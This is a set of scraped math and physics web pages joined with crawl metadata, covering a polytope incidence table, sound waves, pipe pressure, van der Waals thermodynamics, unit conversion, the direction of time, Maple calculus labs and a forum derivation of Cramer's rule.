.. x. .. | 2 0 | * 24 * * * | 1 1 0 1 0 0 | 1 1 1 0
oo3oo4oo&#x | 1 1 | * * 24 * * | 0 0 1 2 0 0 | 0 2 1 0
.x .. .. | 0 2 | * * * 12 * | 0 0 1 0 2 0 | 0 2 0 1
.. .x .. | 0 2 | * * * * 24 | 0 0 0 1 1 1 | 0 1 1 1
------------+-------+----------------+---------------+--------
x.3x. .. | 6 0 | 3 3 0 0 0 | 8 * * * * * | 1 1 0 0
.. x.4o. | 4 0 | 0 4 0 0 0 | * 6 * * * * | 1 0 1 0
xx .. ..&#x | 2 2 | 1 0 2 1 0 | * * 12 * * * | 0 2 0 0
.. xx ..&#x | 2 2 | 0 1 2 0 1 | * * * 24 * * | 0 1 1 0
.x3.x .. | 0 6 | 0 0 0 3 3 | * * * * 8 * | 0 1 0 1
.. .x4.o | 0 4 | 0 0 0 0 4 | * * * * * 6 | 0 0 1 1
------------+-------+----------------+---------------+--------
x.3x.4o. ♦ 24 0 | 12 24 0 0 0 | 8 6 0 0 0 0 | 1 * * *
xx3xx ..&#x ♦ 6 6 | 3 3 6 3 3 | 1 0 3 3 1 0 | * 8 * *
.. xx4oo&#x ♦ 4 4 | 0 4 4 0 4 | 0 1 0 4 0 1 | * * 6 *
.x3.x4.o ♦ 0 24 | 0 0 0 12 24 | 0 0 0 0 8 6 | * * * 1
```
```xx3xx3xx&#x → height = 1
(toe || toe)
o.3o.4o. | 24 * | 1 1 1 1 0 0 0 | 1 1 1 1 1 1 0 0 0 | 1 1 1 1 0
.o3.o4.o | * 24 | 0 0 0 1 1 1 1 | 0 0 0 1 1 1 1 1 1 | 0 1 1 1 1
------------+-------+----------------------+----------------------+----------
x. .. .. | 2 0 | 12 * * * * * * | 1 1 0 1 0 0 0 0 0 | 1 1 1 0 0
.. x. .. | 2 0 | * 12 * * * * * | 1 0 1 0 1 0 0 0 0 | 1 1 0 1 0
.. .. x. | 2 0 | * * 12 * * * * | 0 1 1 0 0 1 0 0 0 | 1 0 1 1 0
oo3oo3oo&#x | 1 1 | * * * 24 * * * | 0 0 0 1 1 1 0 0 0 | 0 1 1 1 0
.x .. .. | 0 2 | * * * * 12 * * | 0 0 0 1 0 0 1 1 0 | 0 1 1 0 1
.. .x .. | 0 2 | * * * * * 12 * | 0 0 0 0 1 0 1 0 1 | 0 1 0 1 1
.. .. .x | 0 2 | * * * * * * 12 | 0 0 0 0 0 1 0 1 1 | 0 0 1 1 1
------------+-------+----------------------+----------------------+----------
x.3x. .. | 6 0 | 3 3 0 0 0 0 0 | 4 * * * * * * * * | 1 1 0 0 0
x. .. x. | 4 0 | 2 0 2 0 0 0 0 | * 6 * * * * * * * | 1 0 1 0 0
.. x.3x. | 4 0 | 0 3 3 0 0 0 0 | * * 4 * * * * * * | 1 0 0 1 0
xx .. ..&#x | 2 2 | 1 0 0 2 1 0 0 | * * * 12 * * * * * | 0 1 1 0 0
.. xx ..&#x | 2 2 | 0 1 0 2 0 1 0 | * * * * 12 * * * * | 0 1 0 1 0
.. .. xx&#x | 2 2 | 0 0 1 2 0 0 1 | * * * * * 12 * * * | 0 0 1 1 0
.x3.x .. | 0 6 | 0 0 0 0 3 3 0 | * * * * * * 4 * * | 0 1 0 0 1
.x .. .x | 0 4 | 0 0 0 0 2 0 2 | * * * * * * * 6 * | 0 0 1 0 1
.. .x3.x | 0 6 | 0 0 0 0 0 2 2 | * * * * * * * * 4 | 0 0 0 1 1
------------+-------+----------------------+----------------------+----------
x.3x.3x. ♦ 24 0 | 12 12 12 0 0 0 0 | 4 6 4 0 0 0 0 0 0 | 1 * * * *
xx3xx ..&#x ♦ 6 6 | 3 3 0 6 3 3 0 | 1 0 0 3 3 0 1 0 0 | * 4 * * *
xx .. xx&#x ♦ 4 4 | 2 0 2 4 2 0 2 | 0 1 0 2 0 2 0 1 0 | * * 6 * *
.. xx3xx&#x ♦ 6 6 | 0 3 3 6 0 3 3 | 0 0 1 0 3 3 0 0 1 | * * * 4 *
.x3.x3.x ♦ 0 24 | 0 0 0 0 12 12 12 | 0 0 0 0 0 0 4 6 4 | * * * * 1
``` | 4,880 | 7,563 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.859375 | 3 | CC-MAIN-2021-31 | latest | en | 0.547802 |
https://www.jove.com/de/science-education/12785/sound-waves | 1,723,352,774,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640975657.64/warc/CC-MAIN-20240811044203-20240811074203-00267.warc.gz | 656,594,408 | 36,874 | # Sound Waves
JoVE Core
Physik
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JoVE Core Physik
Sound Waves
### Nächstes Video17.3: Perception of Sound Waves
Sound is a mechanical wave generated by the vibration of an object and requires a medium to propagate.
Whereas hearing is the ability to perceive sound waves by detecting the vibrations in the surrounding medium.
Sound waves cause the particles of the medium to vibrate and transport energy through it. Since the wave propagates parallel to the direction of the vibrations, sound waves are referred to as longitudinal waves.
During vibration, the particles move back and forth, resulting in high-pressure and low-pressure regions in the medium known as compressions and rarefactions, respectively.
In space, sound waves cannot travel since there are no particles to vibrate and propagate the sound wave.
Since sound is a pressure wave, it can be modeled similarly to periodic wave equations. When propagating in the air, sound waves can also be modeled in terms of the displacement of air molecules.
## Sound Waves
Sound waves can be thought of as fluctuations in the pressure of a medium through which they propagate. Since the pressure also makes the medium's particles vibrate along its direction of motion, the waves can be modeled as the displacement of the medium's particles from their mean position.
Sound waves are longitudinal in most fluids because fluids cannot sustain any lateral pressure. In solids, however, shear forces help in propagating the disturbance in the lateral direction as well. Hence, in solids, sound waves are both longitudinal and transverse.
The medium absorbs a fraction of the energy propagated through the sound wave due to its viscosity. In each compression, a fraction of the energy is converted as heat, and in each rarefaction, a smaller amount of this returns to the wave. Hence, with time, a wave propagating through a medium loses its energy as random thermal energy to the surrounding medium.
The human ears collect sound waves in the air and channel them to the brain, which creates the perception of hearing. They are sensitive to a gamut of sound wave frequencies, from about 20 Hz to 20,000 Hz. This range is called the audible range.
This text is adapted from Openstax, University Physics Volume 1, Section 17.1: Sound Waves. | 495 | 2,430 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2024-33 | latest | en | 0.891875 |
http://www.physicsforums.com/showthread.php?p=2743240 | 1,369,425,611,000,000,000 | text/html | crawl-data/CC-MAIN-2013-20/segments/1368705020058/warc/CC-MAIN-20130516115020-00090-ip-10-60-113-184.ec2.internal.warc.gz | 555,835,155 | 7,416 | ## P.S.I. in a pipe
To keep it simple: I have a vertical 60 foot drop. I want to create the maximum P.S.I. at the bottom of the pipe possible to run a water wheel or a turbine. If the bottom hole (say 2") and the vertical drop of two pipes is the same will there be a difference in a 4" or a 2" pipe? Note: there would be a small dam at the top to fill the pipe to maximum capacity. Also, is there a formula to easily figure out P.S.I. using drop height, water area and weight including the limiting factor of the bottom hole? Thanks!
(I am only a Physics 12 grad so keep it simple)
PhysOrg.com physics news on PhysOrg.com >> A quantum simulator for magnetic materials>> Atomic-scale investigations solve key puzzle of LED efficiency>> Error sought & found: State-of-the-art measurement technique optimised
Mentor Welcome to PF. The larger the pipe, the lower the resistance to flow (and loss of energy) once the water starts moving, but otherwise, no: the pressure at the bottom of the pipe is dictated by the vertical drop alone. So you'll want to figure out how much flow rate you have available and make sure the pipe can handle it without too much loss (keep it below about 5 fps velocity), but otherwise pipe size doesn't matter much. The formula is p=.433h (h is height in feet, p is pressure in psi).
Thank you very much, that's exactly what I needed! | 318 | 1,363 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.0625 | 3 | CC-MAIN-2013-20 | longest | en | 0.919802 |
https://physics.stackexchange.com/questions/453594/caloric-equation-of-state-for-the-van-der-waals-gas | 1,716,182,572,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058222.5/warc/CC-MAIN-20240520045803-20240520075803-00438.warc.gz | 383,133,715 | 39,363 | # Caloric equation of state for the Van der Waals gas
I'm currently trying to reproduce a specific derivation of the caloric equation of state for the Van der Waals gas, which I saw a couple of months ago in a Thermodynamics lecture. I'm well aware of the fact that there are already multiple derivations on this site and online (see [1], [2], [3], [4], [5]), but none of them are what I'm looking for.
The things that I remember from the derivation:
1. The inner energy was a function of $$T$$ and $$v$$.
2. We used the fact that $$s$$ is a state variable.
3. After using the first law we expanded all differentials in some variables.
4. With this we obtained $$u(T)=f(T)-a/v$$ and then proceeded to find $$f(T)$$ by using the fact that $$C_V = (\delta Q/\partial T)_V = (\partial u/\partial T)_V$$.
What I've tried so far: Using the first law we obtain $$Tds=du+pdv$$. We can express $$du$$ and $$dv$$ in terms of $$T,p$$, which leads to the equation $$ds = \frac{1}{T}\left(\frac{\partial u}{\partial p}\Bigg|_{T} + p \frac{\partial v}{\partial p}\Bigg|_{T}\right)dp+\frac{1}{T}\left(\frac{\partial u}{\partial T}\Bigg|_{p}+ p\frac{\partial v}{\partial T}\Bigg|_{p}\right)dT.$$ Using the fact that $$s$$ is a state variable we get the relation $$-\frac{\partial v}{\partial p}\Bigg|_{T} = \frac{1}{T}\left(\frac{\partial u}{\partial T}\Bigg|_{p}+p \frac{\partial v}{\partial T}\Bigg|_{p}\right).$$ This simplifies the first equation a bit but isn't really helpful since it's impossible to acutally take the derivative of $$v$$ with respect to any variable due to the form of the Van der Waals equation.
Since I couldn't figure anything out with this I tried the following as another approach: \begin{align} ds &= \frac{1}{T} \left(\frac{\partial u}{\partial v}\Bigg|_{T}dv + \frac{\partial u}{\partial T}\Bigg|_{v}dT\right) + \frac{p}{T}dv \\ & = C_V \frac{dT}{T}+ \frac{1}{T}\left(\frac{\partial u}{\partial v}\Bigg|_{T}+p \right)dv.\end{align} This approach seems to similar to the one from [1], but I'm 100% sure that we didn't use the Helmholtz equation as suggested by @juanrga.
TL;DR Could someone help me derive $$u(T)=C_VT-a/v$$ (caloric equaiton of state) for the Van der Waals gas without using any fancy equations, but rather fundamentals like the fact that $$s$$ is a state variable, etc.
From the formal point of view, the root of the problem is trivially: to have $$U(V,T)$$ or any equivalent information, one has to integrate the pressure. Knowing $$P(T,V,N)$$, we know the partial derivative of the Helmholtz free energy $$F(T,V,N)$$ with respect to $$V$$ at fixed $$T,N$$. The integration of $$P = - \left. \frac{\partial{F}}{\partial{V}} \right|_{T,N}$$ can provide $$F$$ only within an arbitrary function of $$N$$ and $$T$$. Which is equivalent to know almost nothing about the thermal equation of state.
The real answer is that knowledge of the equation of state $$P=P(T,V,N)$$ alone does not allow to obtain the caloric equation of state. Some additional information must be added, for example, information about the constant volume specific heat as a function of (T,V,N). In any case, it is an independent additional information. | 907 | 3,161 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 27, "wp-katex-eq": 0, "align": 1, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2024-22 | latest | en | 0.900666 |
https://ask-public.com/5798/to-avoid-the-effect-of-stray-magnetic-field-in-bridges-can-use | 1,718,329,858,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861520.44/warc/CC-MAIN-20240614012527-20240614042527-00134.warc.gz | 98,178,206 | 10,458 | # To avoid the effect of stray magnetic field in A.C. bridges we can use?
To avoid the effect of stray magnetic field in A.C. bridges we can use magnetic screening.
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Last Answer : Series magnetic circuit: When different magnetic materials having different lengths, cross sectional areas and permeability are connected one after another, in which same flux is established in different sections, then it is called series ... flux, Φ = Φ1 + Φ2 Path 1: BAFE Path 2: BACD | 2,769 | 12,486 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.609375 | 3 | CC-MAIN-2024-26 | latest | en | 0.851789 |
https://www.convertunits.com/from/arsheen+%5BRussia%5D/to/pertica | 1,601,505,353,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600402128649.98/warc/CC-MAIN-20200930204041-20200930234041-00437.warc.gz | 718,789,415 | 8,274 | ## ››Convert arsheen [Russia] to pertica
arsheen [Russia] pertica
How many arsheen [Russia] in 1 pertica? The answer is 4.1619797525309.
We assume you are converting between arsheen [Russia] and pertica.
You can view more details on each measurement unit:
arsheen [Russia] or pertica
The SI base unit for length is the metre.
1 metre is equal to 1.4060742407199 arsheen [Russia], or 0.33783783783784 pertica.
Note that rounding errors may occur, so always check the results.
Use this page to learn how to convert between arsheen [Russia] and pertica.
Type in your own numbers in the form to convert the units!
## ››Quick conversion chart of arsheen [Russia] to pertica
1 arsheen [Russia] to pertica = 0.24027 pertica
5 arsheen [Russia] to pertica = 1.20135 pertica
10 arsheen [Russia] to pertica = 2.4027 pertica
20 arsheen [Russia] to pertica = 4.80541 pertica
30 arsheen [Russia] to pertica = 7.20811 pertica
40 arsheen [Russia] to pertica = 9.61081 pertica
50 arsheen [Russia] to pertica = 12.01351 pertica
75 arsheen [Russia] to pertica = 18.02027 pertica
100 arsheen [Russia] to pertica = 24.02703 pertica
## ››Want other units?
You can do the reverse unit conversion from pertica to arsheen [Russia], or enter any two units below:
## Enter two units to convert
From: To:
## ››Metric conversions and more
ConvertUnits.com provides an online conversion calculator for all types of measurement units. You can find metric conversion tables for SI units, as well as English units, currency, and other data. Type in unit symbols, abbreviations, or full names for units of length, area, mass, pressure, and other types. Examples include mm, inch, 100 kg, US fluid ounce, 6'3", 10 stone 4, cubic cm, metres squared, grams, moles, feet per second, and many more! | 517 | 1,779 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2020-40 | latest | en | 0.744868 |
https://www.physicsforums.com/threads/inverse-function.893835/ | 1,532,357,274,000,000,000 | text/html | crawl-data/CC-MAIN-2018-30/segments/1531676596463.91/warc/CC-MAIN-20180723125929-20180723145929-00094.warc.gz | 975,487,399 | 16,053 | # Homework Help: Inverse function
1. Nov 18, 2016
### Karol
1. The problem statement, all variables and given/known data
Simplify:
$$\sin^{-1}(2\sin^{-1}0.8)$$
2. Relevant equations
Inverse sine: $y=\sin^{-1}(x)~\rightarrow~\sin(y)=x$
$$\sin^2(x)+\cos^2(x)=1$$
3. The attempt at a solution
The inner parenthesis: $\sin y=0.8$ . In the drawing it's alpha's sine.
Now i double the α and the question wants the high edge in the drawing. how to find it?
2. Nov 18, 2016
### SammyS
Staff Emeritus
That problem seems very strange to me.
It would be much more expected to be asked to simplify something like:
$\sin\left(2 \sin^{-1} (0.8)\right)$
3. Nov 18, 2016
### Math_QED
Are you sure that's the correct question? It seems undefined to me.
4. Nov 18, 2016
### haruspex
Looking at the diagram, that is how Karol interpreted it.
@Karol, what formulae do you know for sin(2α) or sin(α+β)?
5. Nov 19, 2016
### Karol
$$\sin(2\alpha)=2\sin(\alpha)\cos(\alpha)$$
$$\sin^2(\alpha)+\cos^2(\alpha)=1~\rightarrow~\cos(\alpha)=0.6$$
$$\sin(2\alpha)=2\cdot 0.8 \cdot 0.6$$
6. Nov 19, 2016
### SammyS
Staff Emeritus
That looks fine, if you're trying to find $\ \sin\left(2 \sin^{-1} (0.8)\right) \, .$
7. Nov 19, 2016
### Math_QED
Also, if you want to type an implication '$\Rightarrow$', write 'Rightarrow' in Latex instead of 'rightarrow'.
8. Nov 20, 2016
### Karol
Thanks everybody, you are great!
Share this great discussion with others via Reddit, Google+, Twitter, or Facebook
Have something to add?
Draft saved Draft deleted | 516 | 1,543 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.921875 | 4 | CC-MAIN-2018-30 | latest | en | 0.807621 |
https://www.physicsforums.com/threads/time-is-directed-from-present-to-future-is-it-a-vector-quantity.553788/ | 1,708,812,934,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474569.64/warc/CC-MAIN-20240224212113-20240225002113-00544.warc.gz | 969,549,158 | 14,823 | # Time is directed from present to future.is it a vector quantity
• angi-18
In summary, time is not a vector quantity and is not directed in any specific direction. It is always moving in one direction and can be thought of as a scalar quantity when adding time "vectors".
#### angi-18
time is directed from present to future.is it a vector quantity ?explain it pleasezzz...
I don't think of time as a vector quantity, neither do I think of it as being directed anywhere. Good question though.
Another way to think of it is that time is always in one direction, so there is no need to mention a direction for it. Or you could look at it mathematically, for time to be a vector it should hold under vector addition, but when your adding time "vectors" its really just the addition of individual times. So its just scalar addition and hence a scalar quantity.
## 1. Is time considered a vector quantity?
No, time is not considered a vector quantity. A vector quantity has both magnitude and direction, while time only has magnitude. Time is a scalar quantity.
## 2. Why is time considered to be directed from present to future?
This is because the concept of time is based on the movement of events or objects from past to present and from present to future. It is a fundamental property of time that it moves in a single direction.
## 3. Can time ever be reversed or go backwards?
No, time cannot be reversed or go backwards. This is based on the theory of thermodynamics, which states that the overall entropy (or disorder) of the universe must increase over time. Therefore, time can only move in a forward direction.
## 4. How is the direction of time related to the concept of causality?
The direction of time is closely related to the concept of causality, which is the idea that every event is caused by a preceding event. Since events can only occur in the present and future, it follows that time must move in the same direction as causality.
## 5. Is the direction of time universally accepted or is it just a human construct?
The direction of time is a fundamental property of the universe and is not just a human construct. It is observed in many natural processes, such as the growth of plants and the decay of radioactive elements. However, the perception and measurement of time can vary among different cultures and individuals. | 497 | 2,357 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.15625 | 3 | CC-MAIN-2024-10 | latest | en | 0.977788 |
https://people.math.sc.edu/meade/math142-S03/ | 1,631,971,133,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780056476.66/warc/CC-MAIN-20210918123546-20210918153546-00596.warc.gz | 506,391,995 | 3,884 | # Labs for Calculus II Math 142 -- Sections 3, 4, & 5, Spring 2003
## Lab Assignments
Number
Title
Files
1 Introduction to Maple and The Natural Logarithm Function lab1.mws
lab1.html
2 Inverse Functions: Their Graphs, Formulae, and Derivatives lab2.mws
lab2.html
3 The Logistic Growth Model lab3.mws
lab3.html
4 Fitting Linear, Exponential, Power, and Logarithmic Functions to Data lab4.mws
lab4.html
5 Trigonometric Integrals lab5.mws
lab5.html
6 Integration Techniques and the Integration Maplet lab6.mws
lab6.html
7 Limits, Rates of Growth, and l'Hopital's Rule, ``O'' my! lab7.mws
lab7.html
8 Probability Density Functions and Cumulative Distribution Functions
(includes two bonus questions)
lab8.mws
lab8.html
9 Taylor Polynomials and Their Remainders
(includes two bonus points)
lab9.mws
lab9.html
10 Numerical Integration lab10.mws
lab10.html
11 Power Series: Manipulation and Convergence lab11.mws
lab11.html
12 Sequences of Functions: Convergence lab12.mws
lab12.html
lab12Q2.xls
13 Geometric Series and Drug Concentrations lab13.mws
lab13.html
14 Numerical Evaluation of Series lab14.mws
lab14.html
15 Plotting in Polar Coordinates lab15.mws
lab15.html
§ 12.7 Problem Set 12.7: #45 sect12-7no45.mws
sect12-7no45.html
§ 12.7 Problem Set 12.7: #55 sect12-7no55.mws
sect12-7no55.html
## Maplets and MapleNet Materials
Calculus II Maplets
Title
Maplet Viewer
MapleNet Link
Numerical Integration ApproximateIntegration.maplet
Integration Integration.maplet
Limit Limit.maplet
Calculus I Maplets
Title
Maplet Viewer
MapleNet Link
Limit Evaluator LimitCheck.maplet
Derivative Evaluator DerivCheck.maplet
Tangent Lines N/A
Linear Motion Analyzer LinearMotion.maplet
Related Rate and Implicit Differentiation Calculator RelatedRates.maplet
Graphical Function Analyzer FunctionAnalyzer.maplet
Antiderivatives antiderivative.maplet
Riemann Sums ApproximateIntegration.maplet
Solids of Revolution (and their Volume) VolumeOfRevolution.maplet
Surfaces of Revolution (and their Surface Area) SurfaceOfRevolution.maplet
The same links are also available directly from the MapleNet server. The URL to an table of contents is http://maplenet.math.sc.edu/maplenet/meade/Calculus1Maplets/. Additional MapleNet examples, tutorials, and documentation can be found at http://maplenet.math.sc.edu/maplenet/.
## Additional Resources
Notes:
• Portable Document Format (PDF) files are viewable with acroread, a publicly available PDF viewer by Adobe.
• PostScript (PS) files are viewable with ghostview, the public domain PS viewer.
• If you have any questions, please send e-mail to meade@math.sc.edu
Last modified: 14 January 2003 | 709 | 2,626 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.8125 | 3 | CC-MAIN-2021-39 | latest | en | 0.614612 |
http://mathhelpforum.com/advanced-algebra/18090-matrices-print.html | 1,495,635,434,000,000,000 | text/html | crawl-data/CC-MAIN-2017-22/segments/1495463607846.35/warc/CC-MAIN-20170524131951-20170524151951-00057.warc.gz | 233,577,168 | 4,941 | # matrices
• Aug 27th 2007, 03:59 AM
ksssudhanva
matrices
Hi,
pleane any one give me proof for cramers method
• Aug 27th 2007, 04:40 AM
TKHunny
Have you tried an arbitrary solution of a 2 variable system? Just set up two equations with ALL arbitrary parameters and solve them using substitution or something else. Then do it again using Cramer's Method.
ax + by = c
dx + ey = f
Solve that every way you can and see what it looks like.
• Aug 27th 2007, 09:32 AM
ThePerfectHacker
Quote:
Originally Posted by ksssudhanva
Hi,
pleane any one give me proof for cramers method
$\left\{ \begin{array}{cc}a_{11}x+a_{12}y=k_1\\a_{21}x+a_{2 2}y=k_2 \end{array} \right.$
Multiply the top equation by $a_{21}$ and bottom by $a_{12}$. Now subtract these equations and solve for $y$. (Really messy). Then do the same for $x$.
• Aug 28th 2007, 12:56 AM
ksssudhanva
matrices
Thanks
but how can you prove that cramers method is correct?You may prove it by taking a system of arbitary equation.But how did Cramer invented this method?(how did he know that he can solve a system of equations by doing the steps we follow to solve the system of equations using cramers maethd?)
• Aug 28th 2007, 04:57 AM
TKHunny
Mr. Cramer probably solved a system of equations with arbitrary coefficients. Give it a try.
There are two ways to know for sure:
1) Ask Mr. Cramer. Too bad he no longer is with us.
2) Find the original text in which it first appears and for which the method was assigned his name.
• Aug 28th 2007, 05:21 AM
Soroban
Hello, ksssudhanva!
Cramer probably got tired of solving every system separately
. . and sought a generalized solution.
You could have done it, too.
We have: . $\begin{array}{cccc}ax + by & = & h & [1]\\ cx + dy & = & k & [2]\end{array}$
$\begin{array}{cccc}\text{Multiply [1] by }d: & adx + bdy & = & dh \\
\text{Multiply [2] by -}b: & \text{-}bcx - bdy & = & \text{-}bk \end{array}$
Add: . $adx - bcx \:=\:dh - bk\quad\Rightarrow\quad(ad-bc)x \:=\:dh-bk\quad\Rightarrow\quad\boxed{x \:=\:\frac{dh-bk}{ad-bc}}$
$\begin{array}{cccc}\text{Multiply [1] by -}c: & \text{-}acx - bcy & = & \text{-}ch \\
\text{Multiply [2] by }a: & acx + ady & = & ak\end{array}$
Add: . $ady - bcy \:=\:ak-ch\quad\Rightarrow\quad(ad-bc)y \:=\:ak-ch\quad\Rightarrow\quad\boxed{ y \:=\:\frac{ak-ch}{ad-bc}}$
The following is my speculation on what happened.
Then he wondered, "How am I going to memorize those formulas?"
He noticed that the denominators are the determinant of the coefficients:
. . . . . . $ad - bc \:=\:\begin{vmatrix}a & b \\ c & d\end{vmatrix}$
Then he did some mental juggling to see that:
. . . . . . $dh - bk \:=\:\begin{vmatrix}{\color{blue}h} & b \\{\color{blue}k} & d\end{vmatrix}$ . and . $ak-ch \:=\:\begin{vmatrix}a & {\color{blue}h} \\ c & {\color{blue}k}\end{vmatrix}$
. . where the constants replace the respective coefficients.
Then he said, "Hey, I may be onto something here . . . "
. . and tested this pattern for larger systems
. . and eventually proving the procedure in general.
Then he and his buddies traded high-fives and said, "It's Miller time!"
But, of course, I'm guessing . . .
• Aug 28th 2007, 06:48 AM
ThePerfectHacker
Here is the way to prove the generalized version of Cramer's rule. :eek:
Given,
$A\bold{x}=\bold{b}$,
Where, $A=\left[ \begin{array}{cccc}a_{11}&a_{12}&...&a_{1n}\\a_{21 }&a_{22}&...&a_{2n}\\...&...&...&...\\a_{n1}&a_{n2 }&...&a_{nn}\end{array} \right]$ and $\bold{b} = \left[ \begin{array}{c}b_1\\b_2\\...\\b_n\end{array} \right]$.
Since $\det(A)\not = 0\implies A \mbox{ invertible }$.
So, there exists a unique solution given by,
$\bold{x} = A^{-1}\bold{b}=\frac{1}{\det(A)}\cdot \mbox{adj}(A)\bold{b} = \frac{1}{\det(A)}\left[ \begin{array}{cccc}C_{11}&C_{21}&...&C_{n1}\\C_{12 }&C_{22}&...&C_{n2}\\...&...&...&...\\C_{1n}&C_{2n }&...&C_{nn}\end{array} \right]\left[ \begin{array}{c}b_1\\b_2\\...\\b_n\end{array} \right]$.
Let me explained what just happened. There is a rule that $A^{-1}$ is equal to its "adjoint" matrix divided by its determinant. Now the "adjoint" matrix is the transpose of the "cofactor matrix". That is what those $C$'s area. They are cofactors. But they are written backwarks because of the transpose operator.
Multiply them out,
$\bold{x} = \frac{1}{\det(A)} \left[ \begin{array}{c}b_1C_{11}+b_2C_{21}+...+b_nC_{n1}\ \b_1C_{12}+b_2C_{22}+...+b_nC_{n2}\\...+...+...+.. .\\b_1C_{1n}+b_2C_{2n}+...+b_nC_{nn} \end{array}\right]$.
Now $\bold{x}$ is the solution matrix to the system of equations. The $k$-th entry in this matrix is:
$x_k = \frac{b_1C_{1k}+b_2C_{2k}+...+b_nC_{nk}}{\det(A)}$.
Now consider a matrix $M_k$ obtained from $A$ but its $k$-th coloum is replaced by $\bold{b}$. What is the determinant of this matrix? It is the same as $x_k$! Because if we compute the determinant of this matrix by cofactor expansion along the $k$-th coloum we get just that!
Thus,
$\boxed{ x_k = \frac{\det(M_k)}{\det(A)} }$
Q.E.D. | 1,723 | 4,925 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 31, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.703125 | 4 | CC-MAIN-2017-22 | longest | en | 0.884197 |
